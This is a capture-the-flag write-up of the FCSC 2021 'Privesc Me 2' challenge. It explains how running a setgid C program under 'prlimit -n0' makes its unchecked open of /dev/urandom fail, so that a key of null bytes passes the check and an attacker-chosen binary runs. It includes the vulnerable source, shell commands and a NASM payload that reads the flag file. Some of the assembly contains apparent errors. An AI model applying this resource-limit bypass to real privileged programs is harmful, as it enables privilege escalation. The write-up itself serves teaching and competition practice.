FCSC 2021 Qualification - Prives Me 2 (misc)

FCSC 2021 Qualification - Privesc Me 2

2nd challenge of 4 series about some C program privilege escaladation. It was my only first blood for this CTF. The aim of this challenge was to guess value from /dev/urandom which is not possible, and so led us to find a bypass.

Problem analysis

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#define BUF_SIZE 128

int main(int argc, char const *argv[]) {

    if(argc != 3){
        printf("Usage : %s <key file> <binary to execute>", argv[0]);
    }
    setresgid(getegid(), getegid(), getegid());
    
    int fd;
    unsigned char randomness[BUF_SIZE];
    unsigned char your_randomness[BUF_SIZE];
    memset(randomness, 0, BUF_SIZE);
    memset(your_randomness, 0, BUF_SIZE);

    int fd_key = open(argv[1], O_RDONLY, 0400);
    read(fd_key, your_randomness, BUF_SIZE);

    fd = open("/dev/urandom", O_RDONLY, 0400);
    int nb_bytes = read(fd, randomness, BUF_SIZE);
    for (int i = 0; i < nb_bytes; i++) {
        randomness[i] = (randomness[i] + 0x20) % 0x7F;
    }
    
    for(int i = 0; i < BUF_SIZE; i++){
        if(randomness[i] != your_randomness[i]) {
            puts("Meh, you failed");
            return EXIT_FAILURE;
        }
    }
    close(fd);
    puts("Ok, well done");
    char* arg[2] = {argv[2], NULL};
    execve(argv[2], arg, NULL);
    return 0;
}

The code is quite small and easy to understand. It will execute the file given as 3rd argument if the data hold in the file given as 2nd argument match the data read from /dev/urandom.

There is no memory vulnerability or other related pwn stuff, here everything is about logic and errors handling.

The isssue is here :

fd = open("/dev/urandom", O_RDONLY, 0400);
int nb_bytes = read(fd, randomness, BUF_SIZE);
for (int i = 0; i < nb_bytes; i++) {
    randomness[i] = (randomness[i] + 0x20) % 0x7F;
}

What happen if /dev/urandom can’t be open ? open will return -1 an invalid file descriptor and so read can’t read from it and will also return -1. The for loop won’t be executed and the randomness buffer will still hold only null bytes.

But how the hell open wouldn’t be able to open this file as its an absolute path and is always available ?

rlimit

Every process on Linux has it associated ressources limits. There is a default configuration used for every process and we can get these information with the ulimit -a commands.

challenger@privescme:~$ ulimit -a
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 127887
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) unlimited
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

As you can see by default a process can have a maximum of 1024 files opened at the same times ( and not open 1024 files until its death). We may modify these values thanks to the setrlimit syscall.

Something I didn’t know while doing this task was the presence about hard and soft limits. Hard limits act as the ceiling for the soft limits and when decreased can’t be increased by a non privileged user / program. Soft can we increased at anytime after the modification.

By default the ulimit program (which is a wrapper for the syscalls) set both hard and soft limits. This way you can’t change ulimit values after without being privileged.

So what happen if we set the open files value to 0 ?

challenger@privescme:~/stage1$ prlimit -n0 ./stage1
Usage : ./stage1 <key file> <binary to execute>Ok, well done
challenger@privescme:~/stage1$ prlimit -n0 ./stage1 a b
Ok, well done

It display Well done meaning we have bypassed the check and reach the execve call ! Let’s get a shell.

prlimit -n0 ./stage1 a /bin/sh
Ok, well done
/bin/sh: error while loading shared libraries: libc.so.6: cannot open shared object file: Error 24

Oh no, it can’t open the libc shared lib as the limit is too low. The reason -n0 work is that the binary is statically compiled and so doesn’t need to open shared libs, if it was dynamically linked we will have something like -n4 to allow the process to load its runtime libs.

However we can’t increase the allowed opened file for the libc as if we do the program will able first to read from /dev/urandom.

Building the right payload

My inital thought was to build a static binary as I didn’t know about hard/soft limits and the fact they could be increased posteriori. I have written a C program will only read the flag but it failed every time telling me It can’t open some libs, maybe I fucked up somewhere the fact is I didn’t success this way.

So I have written a asm program which will only closed the last opened fd (argv[1]) and displayed the flag.

; À compiler avec nasm -felf64 cat.asm && ld cat.o -o cat

%define SYS_EXIT 60
%define SYS_READ 0
%define SYS_WRITE 1
%define SYS_OPEN 2
%define SYS_CLOSE 3
%define STDOUT 1

%define BUFFER_SIZE 2048

section .text
global  _start
_start:
  ; Récupère le premier argument

  sub rsp, 8
  lea rsi, [rsp]
  xor rdi, rdi
  xor rdx, rdx
  mov rdx, 8
  mov rax, 0
  syscall

  # close the fd
  xor rax, rax
  xor rdi, rdi
  mov rdi, 3
  mov rax, 3
  syscall
  
  sub rsp, 8
  lea rsi, [rsp]
  xor rdi, rdi
  xor rdx, rdx
  mov rdx, 8
  mov rax, 0
  syscall

  xor rax, rax
  push rax
  mov rax, 0x007478742E67616C66
  push rax
  lea rdi, [rsp]

  ; Ouvre le fichier
  mov rax, SYS_OPEN
  mov rsi, 0
  syscall
  mov [fd], rax

    sub rsp, 8
  lea rsi, [rsp]
  xor rdi, rdi
  xor rdx, rdx
  mov rdx, 8
  mov rax, 0
  syscall


_read_write:
  ; Lit le fichier dans un buffer
  mov rax, SYS_READ
  mov rdi, [fd]
  mov rsi, file_buffer
  mov rdx, BUFFER_SIZE
  syscall

  ; Si on a atteint la fin du fichier, on quitte
  cmp rax, 0
  je _exit

  ; Affiche le contenu du buffer
  mov rdx, rax
  mov rax, SYS_WRITE
  mov rdi, STDOUT
  mov rsi, file_buffer
  syscall

  jp _read_write


_exit:
  ; Ferme le fichier
  mov rax, SYS_CLOSE
  mov rdi, fd
  syscall

  ; Ajoute un retour à la ligne
  mov [file_buffer], dword 10
  mov rax, SYS_WRITE
  mov rdi, STDOUT
  mov rsi, file_buffer
  mov rdx, 1
  syscall

  ; Quitte
  mov rax, 60
  mov rdi, 0
  syscall


section .data
fd dw 0

section .bss
file_buffer resb BUFFER_SIZE

This payload is mostly c/c on internet I have only added the close functionnality, that’s all. Then I compiled it.

nasm -f elf64 payload.asm -o payload.o
ld -o payload payload.o

ARGV[1] doesn’t matter at all it must just contains at least 128 null bytes.

image-20210508180930208

There was a lot of different way to solve this, ret2school guys found a nice way too :

https://ret2school.github.io/post/privesc_two/.